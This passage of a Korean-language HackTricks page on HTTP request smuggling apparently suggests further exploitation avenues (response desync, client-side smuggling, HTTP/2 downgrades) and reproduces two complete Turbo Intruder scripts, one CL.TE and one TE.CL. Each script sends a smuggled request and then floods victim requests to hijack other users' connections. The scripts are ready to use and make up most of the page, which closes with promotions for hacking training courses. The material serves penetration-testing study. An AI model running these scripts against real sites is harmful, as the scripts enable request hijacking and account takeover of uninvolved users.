HTTP Request Smuggling ์ทจ์•ฝ์ ์„ ์ฐพ์•˜์ง€๋งŒ ์–ด๋–ป๊ฒŒ ์ต์Šคํ”Œ๋กœ์ž‡ํ• ์ง€ ๋ชจ๋ฅด๊ฒ ๋‹ค๋ฉด, ๋‹ค์Œ ๋‹ค๋ฅธ ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฐฉ๋ฒ•๋“ค์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”:

HTTP Response Smuggling / Desync

๊ธฐํƒ€ HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

์ถœ์ฒ˜: https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

์ถœ์ฒ˜: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

๋„๊ตฌ

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ